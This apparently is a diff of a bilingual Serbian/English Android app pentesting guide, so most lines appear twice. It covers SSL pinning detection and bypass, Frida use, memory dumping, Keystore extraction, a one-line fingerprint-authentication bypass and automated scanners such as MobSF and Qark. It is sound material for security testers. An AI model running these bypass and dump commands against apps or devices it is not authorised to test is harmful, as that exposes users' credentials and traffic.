Obratite pažnju da, ako pronađete odgovarajuće endpoint-e unutar aplikacije, možete izazvati **Open Redirect** (ako se deo putanje koristi kao naziv domena), **account takeover** (ako možete izmeniti detalje korisnika bez CSRF tokena i ranjivi endpoint koristi odgovarajuću metodu) i druge vrste vuln-ova. Više [info about this here](http://dphoeniixx.com/2020/12/13-2/).
**More examples**
Jedan [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_).
An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_).
### Inspekcija transportnog sloja i propusti u verifikaciji
- **Sertifikati nisu uvek pravilno proveravani** od strane Android aplikacija. Često ove aplikacije zanemare upozorenja i prihvate self-signed sertifikate ili, u nekim slučajevima, pređu na korišćenje HTTP konekcija.
- **Pregovori tokom SSL/TLS handshake-a ponekad su slabi**, koristeći nesigurne cipher suite-ove. Ova ranjivost čini vezu podložnom man-in-the-middle (MITM) napadima, omogućavajući napadačima da dešifruju podatke.
- **Leakage of private information** predstavlja rizik kada se aplikacije autentifikuju koristeći sigurne kanale, ali zatim komuniciraju preko nesigurnih kanala za druge transakcije. Ovakav pristup ne štiti osetljive podatke, kao što su session cookies ili podaci o korisnicima, od presretanja od strane zlonamernih entiteta.
- **Certificates are not always inspected properly** by Android applications. It's common for these applications to overlook warnings and accept self-signed certificates or, in some instances, revert to using HTTP connections.
- **Negotiations during the SSL/TLS handshake are sometimes weak**, employing insecure cipher suites. This vulnerability makes the connection susceptible to man-in-the-middle (MITM) attacks, allowing attackers to decrypt the data.
- Otkrivanje privatnih informacija predstavlja rizik kada aplikacije autentifikuju koristeći secure channels ali zatim komuniciraju preko non-secure kanala za druge transakcije. Ovakav pristup ne uspeva da zaštiti osetljive podatke, kao što su session cookies ili detalji korisnika, od presretanja od strane zlonamernih entiteta.
#### Verifikacija sertifikata
#### Provera sertifikata
Usredsredićemo se na **certificate verification**. Integritet serverovog sertifikata mora biti verifikovan radi povećanja bezbednosti. Ovo je ključno jer nesigurne TLS konfiguracije i prenos osetljivih podataka preko nešifrovanih kanala mogu predstavljati značajne rizike. Za detaljne korake o verifikaciji server sertifikata i rešavanju ranjivosti, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) pruža sveobuhvatne smernice.
Usredsredićemo se na **proveru sertifikata**. Integritet serverovog sertifikata mora biti verifikovan kako bi se poboljšala bezbednost. Ovo je ključno jer nesigurne TLS konfiguracije i prenos osetljivih podataka preko neenkriptovanih kanala mogu predstavljati značajne rizike. Za detaljne korake o verifikaciji server sertifikata i rešavanju ranjivosti, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) pruža sveobuhvatne smernice.
#### SSL Pinning
SSL Pinning je bezbednosna mera gde aplikacija proverava serverov sertifikat prema poznatoj kopiji smeštenoj unutar same aplikacije. Ova metoda je esencijalna za sprečavanje MITM napada. Implementacija SSL Pinning-a je snažno preporučena za aplikacije koje rukuju osetljivim informacijama.
SSL Pinning je bezbednosna mera u kojoj aplikacija verifikuje serverov sertifikat naspram poznate kopije uskladištene u samoj aplikaciji. Ova metoda je ključna za sprečavanje MITM napada. Preporučuje se implementacija SSL Pinning-a za aplikacije koje obrađuju osetljive informacije.
#### Inspekcija saobraćaja
Za inspekciju HTTP saobraćaja neophodno je **instalirati sertifikat proxy alata** (npr. Burp). Bez instalacije tog sertifikata, šifrovani saobraćaj možda neće biti vidljiv kroz proxy. Za vodič o instalaciji custom CA sertifikata, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Za inspekciju HTTP saobraćaja, neophodno je **instalirati sertifikat proxy alata** (npr. Burp). Bez instaliranja tog sertifikata, enkriptovani saobraćaj možda neće biti vidljiv kroz proxy. Za vodič o instaliranju custom CA sertifikata, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Aplikacije koje ciljaju **API Level 24 and above** zahtevaju modifikacije Network Security Config-a da bi prihvatile CA sertifikat proxy-ja. Ovaj korak je kritičan za inspekciju šifrovanog saobraćaja. Za uputstva o modifikaciji Network Security Config-a, [**refer to this tutorial**](make-apk-accept-ca-certificate.md).
Aplikacije koje targetiraju **API Level 24 and above** zahtevaju izmene u Network Security Config da bi prihvatile CA sertifikat proxy-ja. Ovaj korak je kritičan za inspekciju enkriptovanog saobraćaja. Za instrukcije o izmeni Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md).
Ako se koristi **Flutter** treba da pratiš instrukcije na [**this page**](flutter.md). To je zato što samo dodavanje sertifikata u store neće funkcionisati, jer Flutter ima sopstvenu listu validnih CAs.
Ako se koristi **Flutter**, potrebno je pratiti instrukcije na [**this page**](flutter.md). Ovo je zato što samo dodavanje sertifikata u store neće raditi, jer Flutter ima sopstvenu listu važećih CA.
#### Statička detekcija SSL/TLS pinning
Pre nego što pokušaš runtime bypass-e, brzo mapiraj gde se pinning primenjuje u APK-u. Statičko otkrivanje pomaže da isplaniraš hooks/patches i da se fokusiraš na prave code paths.
Pre nego što pokušate runtime bypass-ove, brzo mapirajte gde se pinning primenjuje u APK-u. Statičko otkrivanje pomaže da isplanirate hooks/patches i da se fokusirate na prave putanje koda.
Tool: SSLPinDetect
- Open-source statički alat za analizu koji dekompajlira APK u Smali (putem apktool) i skenira za kurirane regex obrasce implementacija SSL/TLS pinning.
- Izveštava tačnu putanju fajla, broj linije i code snippet za svaki match.
- Obuhvata common frameworks i custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, i Network Security Config XML pins.
- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations.
- Reports exact file path, line number, and a code snippet for each match.
- Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins.
Instalacija
Install
- Zahtevi: Python >= 3.8, Java on PATH, apktool
```bash
git clone https://github.com/aancw/SSLPinDetect
@ -464,7 +460,7 @@ python sslpindetect.py -f app.apk -a apktool.jar
# Verbose (timings + per-match path:line + snippet)
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
```
Primer pravila obrasca (JSON)
Primer pravila obrazaca (JSON)
Koristite ili proširite signatures da otkrijete proprietary/custom pinning styles. Možete učitati sopstveni JSON i scan at scale.
```json
{
@ -479,43 +475,43 @@ Koristite ili proširite signatures da otkrijete proprietary/custom pinning styl
]
}
```
Notes and tips
Napomene i saveti
- Brzo skeniranje velikih aplikacija putem multi-threading i memory-mapped I/O; pre-compiled regex smanjuje overhead/false positives.
- Kolekcija patterna: https://github.com/aancw/smali-sslpin-patterns
- Tipični ciljevi za dalju proveru:
- Tipični ciljevi detekcije za dalju trijažu:
- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references
- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides
- Prilagođeni SSL konteksti: SSLContext.getInstance + SSLContext.init with custom managers
- Deklarativni pins u res/xml network security config i manifest references
- Iskoristite podudarne lokacije da planirate Frida hooks, statičke patches, ili pregled konfiguracije pre dinamičkog testiranja.
- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers
- Declarative pins in res/xml network security config and manifest references
- Koristite pronađene lokacije za planiranje Frida hooks, static patches, ili pregleda konfiguracija pre dynamic testing.
#### Bypassing SSL Pinning
Kada je SSL Pinning implementiran, potrebno ga je zaobići da biste mogli da pregledate HTTPS saobraćaj. Postoji nekoliko metoda za to:
When SSL Pinning is implemented, bypassing it becomes necessary to inspect HTTPS traffic. Various methods are available for this purpose:
- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Najveća prednost ove opcije je što vam neće trebati root da zaobiđete SSL Pinning, ali moraćete da obrišete aplikaciju i ponovo instalirate novu, i ovo neće uvek raditi.
- You could use **Frida** (discussed below) to bypass this protection. Ovde imate vodič za korišćenje Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). The best pro of this option, is that you won't need root to bypass the SSL Pinning, but you will need to delete the application and reinstall the new one, and this won't always work.
- You could use **Frida** (discussed below) to bypass this protection. Here you have a guide to use Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- You can also try to **automatically bypass SSL Pinning** using [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- You can also try to **automatically bypass SSL Pinning** using **MobSF dynamic analysis** (explained below)
- If you still think that there is some traffic that you aren't capturing you can try to **forward the traffic to burp using iptables**. Pročitajte ovaj blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
- If you still think that there is some traffic that you aren't capturing you can try to **forward the traffic to burp using iptables**. Read this blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Looking for Common Web Vulnerabilities
#### Traženje uobičajenih web ranjivosti
Važno je takođe tražiti uobičajene web ranjivosti u okviru aplikacije. Detaljne informacije o identifikaciji i ublažavanju ovih ranjivosti prelaze okvir ovog sažetka, ali su opširno obrađene drugde.
Važno je takođe pretražiti aplikaciju za uobičajene web ranjivosti. Detaljna objašnjenja kako ih identifikovati i ublažiti su van opsega ovog rezimea, ali su detaljno obrađena drugde.
### Frida
[Frida](https://www.frida.re) je alatka za dinamičku instrumentaciju za developere, reverse-inženjere i istraživače bezbednosti.\
**Možete pristupiti pokrenutoj aplikaciji i hook-ovati metode u runtime-u da promenite ponašanje, promenite vrednosti, izvučete vrednosti, pokrenete drugačiji kod...**\
Ako želite da radite pentesting Android aplikacija, morate znati kako se koristi Frida.
[Frida](https://www.frida.re) is a dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers.\
**Možete pristupiti pokrenutoj aplikaciji i hook-ovati metode u runtime-u da biste promenili ponašanje, promenili vrednosti, ekstrahovali vrednosti, izvršili drugačiji kod...**\
Ako želite pentest Android applications morate znati kako koristiti Frida.
- Naučite kako koristiti Frida: [**Frida tutorial**](frida-tutorial/index.html)
- Neki "GUI" za rad sa Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection je odličan za automatizaciju upotrebe Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Možete pronaći neke odlične Frida skripte ovde: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Pokušajte zaobići anti-debugging / anti-frida mehanizme učitavanjem Frida kao što je navedeno u [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (alat [linjector](https://github.com/erfur/linjector-rs))
- Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html)
- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Try to bypass anti-debugging / anti-frida mechanisms loading Frida as in indicated in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs))
#### Anti-instrumentation & SSL pinning bypass workflow
@ -523,11 +519,11 @@ Ako želite da radite pentesting Android aplikacija, morate znati kako se korist
android-anti-instrumentation-and-ssl-pinning-bypass.md
{{#endref}}
### **Dump Memory - Fridump**
### **Dump memorije - Fridump**
Proverite da li aplikacija čuva osetljive informacije u memoriji koje ne bi trebalo da čuva, poput lozinki ili mnemonika.
Proverite da li aplikacija čuva osetljive informacije u memoriji koje ne bi trebalo da čuva, kao što su lozinke ili mnemonici.
Korišćenjem [**Fridump3**](https://github.com/rootbsd/fridump3) možete dump-ovati memoriju aplikacije sa:
Koristeći [**Fridump3**](https://github.com/rootbsd/fridump3) možete dump-ovati memoriju aplikacije pomoću:
```bash
# With PID
python3 fridump3.py -u <PID>
@ -536,76 +532,76 @@ python3 fridump3.py -u <PID>
frida-ps -Uai
python3 fridump3.py -u "<Name>"
```
Ovo će dump-ovati memoriju u ./dump folder, i tamo možete koristiti grep sa nečim poput:
Ovo će napraviti dump memorije u ./dump folderu, i tamo možete koristiti grep sa nečim poput:
```bash
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
```
### **Osetljivi podaci u Keystore**
Na Androidu, Keystore je najbolje mesto za čuvanje osetljivih podataka, međutim, uz dovoljne privilegije i dalje je **moguće mu je pristupiti**. Pošto aplikacije obično ovde čuvaju **osetljive podatke u clear text**, pentests bi trebalo da to provere, jer root user ili neko sa fizičkim pristupom uređaju može da ukrade te podatke.
U Androidu je Keystore najbolje mesto za čuvanje osetljivih podataka, međutim, uz dovoljne privilegije i dalje je **moguće pristupiti njemu**. Pošto aplikacije imaju tendenciju da ovde čuvaju **osetljive podatke u čistom tekstu**, pentests bi trebalo da to provere, jer root korisnik ili neko sa fizičkim pristupom uređaju može ukrasti te podatke.
Čak i ako aplikacija čuva podatke u Keystore-u, ti podaci bi trebalo da budu šifrovani.
Čak i ako aplikacija skladišti podatke u Keystore-u, ti podaci treba da budu šifrovani.
Za pristup podacima unutar Keystore-a možete koristiti ovaj Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
Da biste pristupili podacima unutar Keystore-a, možete koristiti ovaj Frida skript: https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js
```bash
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Fingerprint/Biometrics Bypass**
Korišćenjem sledećeg Frida skripta može biti moguće **bypass fingerprint authentication** koju Android aplikacije mogu izvoditi kako bi **zaštitile određene osetljive oblasti:**
Korišćenjem sledećeg Frida skripta može biti moguće **bypass fingerprint authentication** koje Android aplikacije mogu primenjivati kako bi **zaštitile određene osetljive oblasti:**
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
### **Pozadinske slike**
Kada aplikaciju pošaljete u pozadinu, Android čuva **snapshot aplikacije** tako da, kada se vrati u prednji plan, počne da učitava sliku pre same aplikacije, pa izgleda kao da je aplikacija učitana brže.
Kada aplikaciju stavite u pozadinu, Android čuva **snimak aplikacije** tako da kada se vrati u prvi plan počne da učitava sliku pre same aplikacije, kako bi izgledalo da se aplikacija brže učitala.
Međutim, ako taj snapshot sadrži **osetljive informacije**, neko sa pristupom snapshotu može **ukrasti te informacije** (napomena: za pristup je potreban root).
Međutim, ako ovaj snimak sadrži **osetljive informacije**, neko ko ima pristup snimku može **ukrasti te informacije** (napomena: za pristup je potreban root).
Snapshoti se obično nalaze na: **`/data/system_ce/0/snapshots`**
Snimci se obično nalaze na: **`/data/system_ce/0/snapshots`**
Android pruža način da **sprečite snimanje ekrana postavljanjem FLAG_SECURE** layout parametra. Korišćenjem ovog flag-a, sadržaj prozora se tretira kao siguran, čime se sprečava njegovo pojavljivanje u snimcima ekrana ili prikazivanje na nesigurnim ekranima.
Android pruža način da se **spreči pravljenje screenshot-a postavljanjem FLAG_SECURE** layout parametra. Korišćenjem ove zastavice, sadržaj prozora se tretira kao bezbedan, što sprečava njegovo pojavljivanje na screenshot-ovima ili prikazivanje na nebezbednim ekranima.
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
### **Android Application Analyzer**
Ovaj alat vam može pomoći u upravljanju različitim alatima tokom dinamičke analize: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
Ovaj alat vam može pomoći da upravljate različitim alatima tokom dinamičke analize: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
### Intent Injection
Developeri često kreiraju proxy komponente kao što su activities, services i broadcast receivers koje obrađuju ove Intents i prosleđuju ih metodama kao što su `startActivity(...)` ili `sendBroadcast(...)`, što može biti rizično.
Programeri često kreiraju proxy komponente kao što su activities, services i broadcast receivers koje obrađuju ove Intents i prosleđuju ih metodama kao što su `startActivity(...)` ili `sendBroadcast(...)`, što može biti rizično.
Opasnost leži u tome što napadači mogu pokrenuti non-exported app components ili pristupiti osetljivim content providers preusmeravanjem ovih Intents. Značajan primer je `WebView` komponenta koja konvertuje URL-ove u `Intent` objekte putem `Intent.parseUri(...)` i potom ih izvršava, što može dovesti do malicious Intent injections.
Opasnost leži u dopuštanju napadačima da pokrenu neeksportovane komponente aplikacije ili pristupe osetljivim content providers tako što će pogrešno usmeriti ove Intents. Značajan primer je `WebView` komponenta koja konvertuje URL-ove u `Intent` objekte preko `Intent.parseUri(...)` i zatim ih izvršava, što potencijalno može dovesti do malicioznih Intent injekcija.
### Ključne napomene
### Suštinske napomene
- **Intent Injection** je sličan web Open Redirect issue.
- Eksploiti uključuju prosleđivanje `Intent` objekata kao extras, koji se mogu preusmeriti da izvrše nebezbedne operacije.
- Može izložiti non-exported components i content providers napadačima.
- `WebView` konverzija URL-a u `Intent` može olakšati neželjene akcije.
- **Intent Injection** je sličan web Open Redirect problemu.
- Eksploati uključuju prosleđivanje `Intent` objekata kao extras, koji mogu biti preusmereni da izvrše nesigurne operacije.
- Može izložiti neeksportovane komponente i content providers napadačima.
- `WebView`-ova konverzija URL-a u `Intent` može omogućiti neželjene akcije.
### Android Client Side Injections i ostalo
### Android Client Side Injections and others
Verovatno već znate za ovakve ranjivosti sa Weba. Morate biti posebno oprezni sa ovim ranjivostima u Android aplikaciji:
Verovatno poznajete ovu vrstu ranjivosti sa weba. Morate biti posebno oprezni sa ovim ranjivostima u Android aplikaciji:
- **SQL Injection:** Kod rada sa dinamičkim upitima ili Content-Providers, koristite parametrizovane upite.
- **JavaScript Injection (XSS):** Proverite da li je podrška za JavaScript i Plugin onemogućena za sve WebViews (disabled by default). [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** WebViews bi trebalo onemogućiti pristup fajl sistemu (enabled by default) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: U nekoliko slučajeva, kada Android aplikacija završi sesiju, cookie nije opozvan ili može biti sačuvan na disku
- **SQL Injection:** Kada radite sa dinamičkim upitima ili Content-Providers, osigurajte da koristite parametrizovane upite.
- **JavaScript Injection (XSS):** Proverite da li je podrška za JavaScript i Plugin onemogućena za bilo koje WebViews (onemogućeno po podrazumevanoj vrednosti). [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** WebViews treba da imaju onemogućen pristup fajl sistemu (omogućen podrazumevano) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: U nekoliko slučajeva, kada Android aplikacija završi sesiju, cookie nije opozvan ili čak može biti sačuvan na disku
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
---
## Automatic Analysis
## Automatska analiza
### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
**Static analysis**
**Statička analiza**
![](<../../images/image (866).png>)
**Procena ranjivosti aplikacije** korišćenjem lepog web interfejsa. Takođe možete izvršiti dinamičku analizu (ali morate pripremiti okruženje).
**Procena ranjivosti aplikacije** putem lepog web grafičkog interfejsa. Takođe možete izvršiti dinamičku analizu (ali morate pripremiti okruženje).
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
@ -615,14 +611,14 @@ Also, if you create a **ZIP** file with the source code if an **Android** or an
MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file.
### Assisted Dynamic analysis with MobSF
### Pomoćna dinamička analiza sa MobSF
**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
**MobSF** može biti veoma koristan i za **dynamic analysis** na **Android**, ali u tom slučaju morate instalirati MobSF i **genymotion** na vaš host (VM ili Docker neće raditi). _Napomena: Potrebno je prvo **start a VM in genymotion** i **then MobSF.**_\
The **MobSF dynamic analyser** can:
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities.
- Capture **HTTPS traffic**
- Use **Frida** to obtain **runtime** **information**
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). Sve ovo se radi automatski osim za screenshots — za njih morate pritisnuti kada želite screenshot ili pritisnuti "**Exported Activity Tester**" da biste dobili screenshots svih exported activities.
- Presretanje **HTTPS** saobraćaja
- Koristi **Frida** za dobijanje **runtime** **information**
From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application.
@ -632,24 +628,24 @@ By default, it will also use some Frida Scripts to **bypass SSL pinning**, **roo
MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report.
To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\
MobSF also allows you to load your own **Frida scripts** (to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**").
MobSF also allows you to load your own **Frida scripts** (to send the results of your Frida scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**").
![](<../../images/image (419).png>)
Moreover, you have some Auxiliary Frida functionalities:
Pored toga, imate neke pomoćne Frida funkcionalnosti:
- **Enumerate Loaded Classes**: It will print all the loaded classes
- **Capture Strings**: It will print all the capture strings while using the application (super noisy)
- **Capture String Comparisons**: Could be very useful. It will **show the 2 strings being compared** and if the result was True or False.
- **Enumerate Class Methods**: Put the class name (like "java.io.File") and it will print all the methods of the class.
- **Search Class Pattern**: Search classes by pattern
- **Trace Class Methods**: **Trace** a **whole class** (see inputs and outputs of all methods of th class). Remember that by default MobSF traces several interesting Android Api methods.
- **Enumerate Loaded Classes**: Ispisuje sve učitane klase
- **Capture Strings**: Ispisuje sve uhvaćene stringove dok koristite aplikaciju (veoma bučno)
- **Capture String Comparisons**: Može biti veoma korisno. Pokazaće **the 2 strings being compared** i da li je rezultat True ili False.
- **Enumerate Class Methods**: Unesite ime klase (npr. "java.io.File") i ispisaće sve metode te klase.
- **Search Class Pattern**: Pretražuje klase po obrascu
- **Trace Class Methods**: **Trace** a **whole class** (videti ulaze i izlaze svih metoda klase). Zapamtite da po defaultu MobSF prati nekoliko interesantnih Android Api metoda.
Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**".
**Shell**
Mobsf also brings you a shell with some **adb** commands, **MobSF commands**, and common **shell** **commands** at the bottom of the dynamic analysis page. Some interesting commands:
MobSF takođe donosi shell sa nekim **adb** komandama, **MobSF commands**, i uobičajenim **shell** **commands** na dnu stranice dinamičke analize. Neke interesantne komande:
```bash
help
shell ls
@ -658,15 +654,15 @@ exported_activities
services
receivers
```
**HTTP tools**
**HTTP alati**
Kada se http saobraćaj snimi možete videti ružan prikaz snimljenog saobraćaja u dnu na "**HTTP(S) Traffic**" ili lepši prikaz preko zelenog dugmeta "**Start HTTPTools**". Iz druge opcije možete **send** **captured requests** ka **proxies** kao što su Burp ili Owasp ZAP.\
Da biste to uradili, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> pritisnite "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Kada se HTTP saobraćaj uhvati, možete videti ružan prikaz uhvaćenog saobraćaja na dnu "**HTTP(S) Traffic**" ili lepši prikaz na zelenom dugmetu "**Start HTTPTools**". Iz druge opcije možete **send** **captured requests** na **proxies** kao što su Burp ili Owasp ZAP.\
Da to uradite, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> pritisnite "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Kada završite dinamičku analizu sa MobSF možete pritisnuti "**Start Web API Fuzzer**" da **fuzz http requests** i tražite ranjivosti.
> [!TIP]
> Nakon izvođenja dinamičke analize sa MobSF podešavanja proxy-ja mogu biti pogrešno konfigurisana i možda ih nećete moći ispraviti iz GUI-ja. Možete popraviti proxy podešavanja sledećom komandom:
> Nakon izvršene dinamičke analize sa MobSF proxy podešavanja mogu biti pogrešno konfigurisana i nećete moći da ih popravite iz GUI-ja. Možete popraviti proxy podešavanja tako što ćete uraditi:
>
> ```
> adb shell settings put global http_proxy :0
@ -675,17 +671,17 @@ Kada završite dinamičku analizu sa MobSF možete pritisnuti "**Start Web API F
### Assisted Dynamic Analysis with Inspeckage
Možete preuzeti alat sa [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
Ovaj alat koristi neke **Hooks** da bi vam pokazao **šta se dešava u aplikaciji** dok izvodite **dinamičku analizu**.
Ovaj alat koristi neke **Hooks** da vam pokaže **šta se dešava u aplikaciji** dok izvodite **dynamic analysis**.
### [Yaazhini](https://www.vegabird.com/yaazhini/)
Ovo je **odličan alat za izvođenje statičke analize sa GUI**
Ovo je **odličan alat za izvođenje static analysis sa GUI-jem**
![](<../../images/image (741).png>)
### [Qark](https://github.com/linkedin/qark)
Ovaj alat je dizajniran da traži više **security related Android application vulnerabilities**, bilo u **source code** ili u **packaged APKs**. Alat je takođe sposoban da kreira **"Proof-of-Concept" deployable APK** i **ADB commands**, da iskoristi neke od pronađenih ranjivosti (Exposed activities, intents, tapjacking...). Kao i kod Drozer, nema potrebe za root-ovanjem test uređaja.
Ovaj alat je dizajniran da traži nekoliko **security related Android application vulnerabilities**, bilo u **source code** ili **packaged APKs**. Alat je takođe sposoban da kreira **"Proof-of-Concept" deployable APK** i **ADB commands**, kako bi iskoristio neke od pronađenih ranjivosti (Exposed activities, intents, tapjacking...). Kao i sa Drozer, nema potrebe za root-ovanjem test uređaja.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -694,10 +690,10 @@ qark --java path/to/specific/java/file.java
```
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
- Prikazuje sve izvađene fajlove radi lakšeg pregleda
- Prikazuje sve ekstrahovane fajlove radi lakšeg pregleda
- Automatski dekompajlira APK fajlove u Java i Smali format
- Analizira AndroidManifest.xml radi uobičajenih ranjivosti i ponašanja
- Statička source code analiza za uobičajene ranjivosti i ponašanja
- Analizira AndroidManifest.xml za uobičajene ranjivosti i ponašanja
- Statička analiza izvornog koda za uobičajene ranjivosti i ponašanja
- Informacije o uređaju
- i još više
```bash
@ -705,13 +701,11 @@ reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER je aplikacija za komandnu liniju koja se može koristiti na Windows, MacOS X i Linux, i analizira _.apk_ fajlove u potrazi za ranjivostima.
SUPER je aplikacija komandne linije koja se može koristiti na Windows, MacOS X i Linux, koja analizira _.apk_ fajlove u potrazi za ranjivostima. To radi dekompresovanjem APK-ova i primenom niza pravila za otkrivanje tih ranjivosti.
To radi dekompresovanjem APKs i primenom niza pravila da bi otkrio te ranjivosti.
Sva pravila su u fajlu `rules.json`, i svaka kompanija ili tester može kreirati sopstvena pravila za analizu po potrebi.
Sva pravila su smeštena u fajlu `rules.json`, a svaka kompanija ili tester može kreirati sopstvena pravila da analizira ono što im je potrebno.
Preuzmite najnovije binarne fajlove sa [download page](https://superanalyzer.rocks/download.html)
Preuzmite najnovije binarije sa [download page](https://superanalyzer.rocks/download.html)
```
